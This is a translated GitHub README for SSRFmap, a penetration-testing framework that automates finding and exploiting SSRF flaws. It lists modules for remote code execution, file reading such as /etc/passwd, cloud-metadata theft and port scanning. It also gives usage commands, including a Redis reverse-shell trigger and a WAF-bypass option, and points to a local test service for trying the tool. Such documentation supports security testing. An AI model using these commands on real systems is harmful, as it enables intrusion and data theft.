swisskyrepo/SSRFmap
GitHub: swisskyrepo/SSRFmap
一款自动化的 SSRF 模糊测试与利用框架,帮助安全人员快速发现并利用 SSRF 漏洞。
Stars: 3531 | Forks: 562
# SSRFmap [](https://www.python.org/downloads/release/python-360/) [](https://inventory.raw.pm/)
SSRF 常被用于利用其他服务执行操作,本框架旨在轻松发现并利用这些服务。SSRFmap 以 Burp 请求文件作为输入,并指定要模糊测试的参数。
## 摘要
* [Modules](#modules)
* [Install and Manual](#install-and-manual)
* [Examples](#examples)
* [SSRFmap - Tests](#ssrfmap-tests)
* [Contribute](#contribute)
* [Contributors](#thanks-to-the-contributors)
## 模块
以下模块已实现并可通过 `-m` 参数使用。
| 名称 | 描述 |
| :------------- | :------------------------------------------------------- |
| `axfr` | DNS 区域传输(AXFR) |
| `fastcgi` | FastCGI RCE |
| `redis` | Redis RCE |
| `github` | Github Enterprise RCE < 2.8.7 |
| `zabbix` | Zabbix RCE |
| `mysql` | MySQL 命令执行 |
| `postgres` | Postgres 命令执行 |
| `docker` | 通过 API 进行 Docker 信息泄露 |
| `smtp` | SMTP 发送邮件 |
| `portscan` | 扫描目标主机的前 8000 个端口 |
| `networkscan` | 对网络进行 HTTP Ping 扫描 |
| `readfiles` | 读取文件,如 `/etc/passwd` |
| `alibaba` | 从提供商读取文件(例如:元数据、用户数据) |
| `aws` | 从提供商读取文件(例如:元数据、用户数据) |
| `gce` | 从提供商读取文件(例如:元数据、用户数据) |
| `digitalocean` | 从提供商读取文件(例如:元数据、用户数据) |
| `socksproxy` | SOCKS4 代理 |
| `smbhash` | 通过 UNC 路径强制 SMB 身份验证 |
| `tomcat` | 对 Tomcat Manager 的暴力破解攻击 |
| `custom` | 向监听服务发送自定义数据,例如:netcat |
| `memcache` | 在 memcache 实例中存储数据 |
## 安装与手册
* 从 Github 仓库获取。
$ git clone https://github.com/swisskyrepo/SSRFmap
$ cd SSRFmap/
$ pip3 install -r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
[-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
[--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
可选参数:
-h, --help 显示此帮助信息并退出
-r REQFILE SSRF 请求文件
-p PARAM 要模糊测试的 SSRF 参数
-m MODULES 要启用的 SSRF 模块(多个模块用 `,` 分隔)
-l HANDLER 为反向 shell 启动一个处理器
-v [VERBOSE] 启用详细输出
--lhost LHOST 反向 shell 的 LHOST 或要访问的网络中的 IP
--lport LPORT 反向 shell 的 LPORT 或要访问的网络中的端口
--uagent USERAGENT 要使用的 User Agent
--ssl [SSL] 在不验证的情况下使用 HTTPS
--proxy PROXY 使用 HTTP(s) 代理(例如:http://localhost:8080)
--level [LEVEL] 测试级别(1-5,默认为:1)
* Docker
$ git clone https://github.com/swisskyrepo/SSRFmap
$ docker build --no-cache -t ssrfmap .
$ docker run -it ssrfmap ssrfmap.py [OPTIONS]
$ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
## 示例
首先你需要一个带有要模糊测试参数的请求,Burp 请求效果很好。
它们应该如下所示,更多示例可在 **./examples** 文件夹中找到。
```
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1
url=https%3A%2F%2Fwww.google.fr
```
使用 `-m` 后跟模块名称(如果想同时运行多个模块,用 `,` 分隔)。
```
# 在 localhost 上启动端口扫描并读取默认文件
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan
```
如果你想要注入到头部、GET 或 POST 参数中,你只需要指定参数名称。
```
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test
```
如果需要自定义 User-Agent,请使用 `--uagent`。某些目标会使用 HTTPS,你可以使用 `--ssl` 启用它。
```
# 对使用自定义 user-agent 的 HTTPS 端点发起端口扫描
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
```
某些模块允许你创建反向连接,你需要指定 `LHOST` 和 `LPORT`。SSRFmap 也可以监听传入的反向 Shell。
```
# 触发 Redis 上的反向 shell
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l 在指定端口创建反向 shell 的监听器
# --lhost 和 --lport 的用法与 Metasploit 类似,这些值用于创建反向 shell 载荷
```
当目标受到 WAF 或某些过滤器保护时,你可以尝试使用 `--level` 参数进行一系列有效载荷和编码。
```
# --level:能够调整载荷以绕过某些 IDS/WAF。例如:127.0.0.1 -> [::] -> 0000: -> ...
```
## SSRFmap 测试
测试该框架的一种快速方式是使用 `data/example.py` SSRF 服务。
* 本地
FLASK_APP=examples/example.py flask run &
python ssrfmap.py -r examples/request.txt -p url -m readfiles
* Docker
docker build --no-cache -t ssrfmap .
# 运行示例 SSRF HTTP 服务
docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
# 运行示例 SSRF DNS 服务
docker exec -u root:root -it example python examples/ssrf_dns.py
# 运行 SSRFmap 工具
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
运行测试请求:
```
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
```
### 感谢贡献者
## 灵感来源于
- [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai](https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
- [Blog on Gopherus Tool -SpyD3r](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [SSRF testing - cujanovic](https://github.com/cujanovic/SSRF-Testing)
标签:API 滥用, AWS, Burp Suite, DNS 区域传输, Docker, DPI, FastCGI, Fuzzing, PostgreSQL, Python, Python 3.4+, RCE, Redis, SMTP, SSRF, SSRF 映射, Zabbix, 云存储安全, 代码执行, 内网探测, 命令执行, 安全测试, 安全防御评估, 开源安全工具, 攻击性安全, 数据统计, 文件读取, 无后门, 端口扫描, 网络扫描, 网络攻防, 请求拦截, 请求重放, 逆向工具, 逆向工程平台, 阿里云元数据